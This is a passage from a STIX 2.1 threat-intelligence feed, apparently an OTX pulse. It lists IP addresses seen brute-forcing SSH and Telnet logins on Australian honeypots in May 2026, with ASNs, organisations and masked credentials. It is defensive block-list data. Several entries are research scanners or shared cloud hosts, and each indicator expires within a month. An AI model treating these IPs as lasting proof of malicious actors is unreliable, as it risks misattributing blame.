      "valid_until": "2026-06-17T04:15:04.000Z"
    },
    {
      "created": "2026-05-16T04:15:05.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 181. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: VN. ASN(s): 131423. Organisation(s): Branch of Long Van System Solution JSC - Hanoi. Usernames observed (masked): r**t, 3**********4, d*********r, l***x, p*****i. Passwords observed (masked): l******3, w******t, 2******7, 3***********4, 3**********4.",
      "id": "indicator--410f58e1-c421-4c74-b214-65d8adb4c2b8",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-16T04:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '42.96.19.37']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-16T04:15:05.000Z",
      "valid_until": "2026-06-17T04:15:04.000Z"
    },
    {
      "created": "2026-05-16T04:15:05.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 10. Sensors involved: Cowrie. Target ports: 23. Source country: PK. ASN(s): 9541. Organisation(s): Cyber Internet Services Pvt Ltd..",
      "id": "indicator--66ba6a16-5d13-4c7f-b151-d45468d58982",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-16T04:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '72.255.18.211']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-16T04:15:05.000Z",
      "valid_until": "2026-06-17T04:15:04.000Z"
    },
    {
      "created": "2026-05-16T04:15:05.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 239. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: UZ. ASN(s): 35682. Organisation(s): Best Internet Solution Xk. Usernames observed (masked): r**t, f*****r, 3**********4, ***, b**s. Passwords observed (masked): l******3, 0********y, ***, 1*******E, 1****6.",
      "id": "indicator--f5f22900-d998-47f7-b938-3916991199b9",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-16T04:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '77.83.206.248']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-16T04:15:05.000Z",
      "valid_until": "2026-06-17T04:15:04.000Z"
    },
    {
      "created": "2026-05-16T05:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 3. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 137718. Organisation(s): Beijing Volcano Engine Technology Co., Ltd.. Usernames observed (masked): a***n. Passwords observed (masked): a***n.",
      "id": "indicator--04e2431c-09dc-4248-8a0b-c84578c4e6dd",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-16T05:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '118.145.245.82']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-16T05:15:11.000Z",
      "valid_until": "2026-06-17T05:15:08.000Z"
    },
    {
      "created": "2026-05-16T05:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via unknown against Cowrie/Heralding honeypots in Australia. Total events observed: 15. Sensors involved: Heralding. Target ports: 5432. Source country: US. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): p******s, r**t, a***n, n*****i, n****i. Passwords observed (masked): 1****6, n****i, p******d, r**t, a***n.",
      "id": "indicator--06b896e1-e180-4750-90a4-75fdee807a12",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-16T05:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '147.182.193.28']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-16T05:15:11.000Z",
      "valid_until": "2026-06-17T05:15:08.000Z"
    },
    {
      "created": "2026-05-16T05:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: PK. ASN(s): 134489. Organisation(s): S. B Link Network.",
      "id": "indicator--836072f4-a15d-4ac4-a5f4-46e93a9803fc",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-16T05:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '149.71.34.194']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-16T05:15:11.000Z",
      "valid_until": "2026-06-17T05:15:08.000Z"
    },
    {
      "created": "2026-05-16T05:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: PK. ASN(s): 9541. Organisation(s): Cyber Internet Services Pvt Ltd..",
      "id": "indicator--3fe68c3d-da2d-419d-b9a4-4878641634ab",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-16T05:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '72.255.18.229']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-16T05:15:11.000Z",
      "valid_until": "2026-06-17T05:15:08.000Z"
    },
    {
      "created": "2026-05-16T06:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 26. Sensors involved: Cowrie. Target ports: 23. Source country: IN. ASN(s): 135259. Organisation(s): SKYLINE INFONET PRIVATE LIMITED.",
      "id": "indicator--e05609c2-dd68-419d-b4e1-c541be83a317",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-16T06:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '103.68.42.69']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-16T06:15:10.000Z",
      "valid_until": "2026-06-17T06:15:08.000Z"
    },
    {
      "created": "2026-05-16T06:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 23. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: VN. ASN(s): 150884. Organisation(s): ANZIX Joint Stock Company. Usernames observed (masked): r**t, a***n, o******i. Passwords observed (masked): *, a***n, o******i, p******d.",
      "id": "indicator--490734d1-7a66-46df-b534-8d6ca3bfbfe5",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-16T06:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '103.69.85.19']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-16T06:15:10.000Z",
      "valid_until": "2026-06-17T06:15:08.000Z"
    },
    {
      "created": "2026-05-16T06:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 23. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: NL. ASN(s): 215540. Organisation(s): Global Connectivity Solutions Llp. Usernames observed (masked): r**t, a***n, o******i. Passwords observed (masked): *, a***n, o******i, p******d.",
      "id": "indicator--1c91b039-734d-4af3-b791-175e43e1a117",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-16T06:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '194.87.216.198']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-16T06:15:10.000Z",
      "valid_until": "2026-06-17T06:15:08.000Z"
    },
    {
      "created": "2026-05-16T06:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 160. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 46606. Organisation(s): Unified Layer. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 1**0, 2******e, 3***********4, 3**********4, a*********************0.",
      "id": "indicator--15eb58b0-e5cd-4313-8181-82b2c830ce88",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-16T06:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '198.154.207.145']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-16T06:15:10.000Z",
      "valid_until": "2026-06-17T06:15:08.000Z"
    },
    {
      "created": "2026-05-16T06:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: JM. ASN(s): 30689. Organisation(s): FLOW.",
      "id": "indicator--126f1431-3928-464e-9c91-b459a1db5a7b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-16T06:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '72.27.24.204']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-16T06:15:10.000Z",
      "valid_until": "2026-06-17T06:15:08.000Z"
    },
    {
      "created": "2026-05-16T07:15:13.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 396982. Organisation(s): Google LLC.",
      "id": "indicator--279ac3bc-3d19-46f3-9a97-0bc2db9c937f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-16T07:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '198.235.24.45']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-16T07:15:13.000Z",
      "valid_until": "2026-06-17T07:15:08.000Z"
    },
    {
      "created": "2026-05-16T07:15:13.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 48. Sensors involved: Cowrie. Target ports: 23. Source country: PK. ASN(s): 9541. Organisation(s): Cyber Internet Services Pvt Ltd..",
      "id": "indicator--d1ef168f-0f90-47cb-a1cd-b03ad08cc1cd",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-16T07:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '206.168.201.219']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-16T07:15:13.000Z",
      "valid_until": "2026-06-17T07:15:08.000Z"
    },
    {
      "created": "2026-05-16T07:15:13.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 73. Sensors involved: Cowrie. Target ports: 23. Source country: BE. ASN(s): 396982. Organisation(s): Google LLC. Usernames observed (masked): **, G************1, O*********************************0, U*************************************************************************************************************************6. Passwords observed (masked): **, A*******************p, C********4, H**********************3.",
      "id": "indicator--3ae0f866-08aa-4838-b6af-671fc02964c3",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-16T07:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '34.14.18.68']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-16T07:15:13.000Z",
      "valid_until": "2026-06-17T07:15:08.000Z"
    },
    {
      "created": "2026-05-16T07:15:13.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 73. Sensors involved: Cowrie. Target ports: 23. Source country: BE. ASN(s): 396982. Organisation(s): Google LLC. Usernames observed (masked): **, G************1, O*********************************0, U*************************************************************************************************************************6. Passwords observed (masked): **, A*******************p, C********9, H**********************3.",
      "id": "indicator--aafe012c-a9b7-4d77-9b87-3ea6ce0581b2",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-16T07:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '34.77.138.51']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-16T07:15:13.000Z",
      "valid_until": "2026-06-17T07:15:08.000Z"
    },
    {
      "created": "2026-05-16T07:15:13.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: KR. ASN(s): 9318. Organisation(s): SK Broadband Co Ltd.",
      "id": "indicator--59791316-1f65-4bff-aaf3-16a3120e9d6d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-16T07:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '39.118.199.37']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-16T07:15:13.000Z",
      "valid_until": "2026-06-17T07:15:08.000Z"
    },
    {
      "created": "2026-05-16T07:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 45102. Organisation(s): Alibaba US Technology Co., Ltd.. Usernames observed (masked): q****n. Passwords observed (masked): q****n.",
      "id": "indicator--4fce70b4-2851-4797-8a92-22b63bfbb67b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-16T07:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '47.251.255.73']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-16T07:15:13.000Z",
      "valid_until": "2026-06-17T07:15:08.000Z"
    },
    {
      "created": "2026-05-16T07:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 398324. Organisation(s): Censys, Inc..",
      "id": "indicator--5b4521e6-5ad5-4c56-820a-d8990d9c348e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-16T07:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '66.132.195.88']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-16T07:15:13.000Z",
      "valid_until": "2026-06-17T07:15:08.000Z"
    },
    {
      "created": "2026-05-16T07:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie. Target ports: 22. Source country: RO. ASN(s): 204428. Organisation(s): SS-Net.",
      "id": "indicator--4eaa666c-dda3-413c-ac19-0f95b8b9c031",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-16T07:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '80.94.95.242']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-16T07:15:13.000Z",
      "valid_until": "2026-06-17T07:15:08.000Z"
    },
    {
      "created": "2026-05-16T08:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--3eb1747f-4a52-4abe-aa4f-fc880e7b5c5f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-16T08:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '110.87.158.240']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-16T08:15:10.000Z",
      "valid_until": "2026-06-17T08:15:08.000Z"
    },
    {
      "created": "2026-05-16T08:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 4. Sensors involved: Cowrie. Target ports: 22. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--1bbd3bc8-8dd7-448b-8499-022150e491fe",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-16T08:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '114.97.191.176']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-16T08:15:10.000Z",
      "valid_until": "2026-06-17T08:15:08.000Z"
    },
    {
      "created": "2026-05-16T08:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 50. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4837. Organisation(s): CHINA UNICOM China169 Backbone.",
      "id": "indicator--9d71b475-3f69-40c6-861e-39fa2f8d7b25",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-16T08:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '115.55.21.93']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-16T08:15:10.000Z",
      "valid_until": "2026-06-17T08:15:08.000Z"
    },
    {
      "created": "2026-05-16T08:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: IN. ASN(s): 17917. Organisation(s): Quadrant Televentures Limited.",
      "id": "indicator--cc8df570-cfd1-4682-bd0a-85296067b533",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-16T08:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '124.253.215.7']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-16T08:15:10.000Z",
      "valid_until": "2026-06-17T08:15:08.000Z"
    },
    {
      "created": "2026-05-16T08:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: IN. ASN(s): 55836. Organisation(s): Reliance Jio Infocomm Limited.",
      "id": "indicator--47d5687d-c5f6-4c88-9ef8-7ae15617ab2d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-16T08:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '157.48.104.5']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-16T08:15:10.000Z",
      "valid_until": "2026-06-17T08:15:08.000Z"
    },
    {
      "created": "2026-05-16T08:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 4. Sensors involved: Cowrie. Target ports: 23. Source country: DE. ASN(s): 14061. Organisation(s): DigitalOcean, LLC.",
      "id": "indicator--cb6a6884-db5d-46df-8014-967cc63d4340",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-16T08:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '165.227.130.62']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-16T08:15:10.000Z",
      "valid_until": "2026-06-17T08:15:08.000Z"
    },
    {
      "created": "2026-05-16T08:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: PY. ASN(s): 23201. Organisation(s): Telecel S.A..",
      "id": "indicator--4a6c9fc8-a8e2-4a15-8345-7c503e35382c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-16T08:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '181.126.187.98']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-16T08:15:10.000Z",
      "valid_until": "2026-06-17T08:15:08.000Z"
    },
    {
      "created": "2026-05-16T08:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 4. Sensors involved: Cowrie. Target ports: 23. Source country: UY. ASN(s): 6057. Organisation(s): Administracion Nacional de Telecomunicaciones.",
      "id": "indicator--1442ee07-d250-4b24-a064-679461cf544b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-16T08:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '186.50.96.227']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-16T08:15:10.000Z",
      "valid_until": "2026-06-17T08:15:08.000Z"
    },
    {
      "created": "2026-05-16T08:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 202. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 3257. Organisation(s): GTT Communications Inc.. Usernames observed (masked): r**t, 3**********4, ***, c***o, d**e. Passwords observed (masked): 1*******9, 1*******., 2******9, 3***********4, 3**********4.",
      "id": "indicator--392301e6-a135-4f76-8132-d7d08aeed164",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-16T08:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '216.36.108.151']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-16T08:15:10.000Z",
      "valid_until": "2026-06-17T08:15:08.000Z"
    },
    {
      "created": "2026-05-16T08:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 26. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4837. Organisation(s): CHINA UNICOM China169 Backbone.",
      "id": "indicator--f9532f72-b1c6-4b17-90d2-d2aa58ea018c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-16T08:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '222.142.210.194']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-16T08:15:10.000Z",
      "valid_until": "2026-06-17T08:15:08.000Z"
    },
    {
      "created": "2026-05-16T08:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 45. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: BE. ASN(s): 396982. Organisation(s): Google LLC.",
      "id": "indicator--b640f725-5108-4744-a364-47efaa81089f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-16T08:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '34.156.120.189']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-16T08:15:10.000Z",
      "valid_until": "2026-06-17T08:15:08.000Z"
    },
    {
      "created": "2026-05-16T08:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 73. Sensors involved: Cowrie. Target ports: 23. Source country: BE. ASN(s): 396982. Organisation(s): Google LLC. Usernames observed (masked): **, G************1, O*********************************0, U*************************************************************************************************************************6. Passwords observed (masked): **, A*******************p, C********1, H**********************3.",
      "id": "indicator--8c1a59e5-82d5-4372-8d2a-75d077a22536",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-16T08:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '34.156.42.246']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-16T08:15:10.000Z",
      "valid_until": "2026-06-17T08:15:08.000Z"
    },
    {
      "created": "2026-05-16T08:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 12. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: BE. ASN(s): 396982. Organisation(s): Google LLC. Usernames observed (masked): a***n. Passwords observed (masked): a***n, p******d.",
      "id": "indicator--a8a15b47-790c-4fe6-831f-ea1a10b736f4",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-16T08:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '34.62.161.219']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-16T08:15:10.000Z",
      "valid_until": "2026-06-17T08:15:08.000Z"
    },
    {
      "created": "2026-05-16T08:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 14061. Organisation(s): DigitalOcean, LLC.",
      "id": "indicator--fe634862-a478-40b0-a719-bbd4f1884127",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-16T08:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '64.227.21.165']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-16T08:15:10.000Z",
      "valid_until": "2026-06-17T08:15:08.000Z"
    },
    {
      "created": "2026-05-16T09:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 3. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 45090. Organisation(s): Shenzhen Tencent Computer Systems Company Limited. Usernames observed (masked): a***n. Passwords observed (masked): a***n.",
      "id": "indicator--4dbe9710-4ed7-4d7f-9689-561b420355a3",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-16T09:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '175.178.15.178']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-16T09:15:10.000Z",
      "valid_until": "2026-06-17T09:15:08.000Z"
    },
    {
      "created": "2026-05-16T09:15:10.000Z",
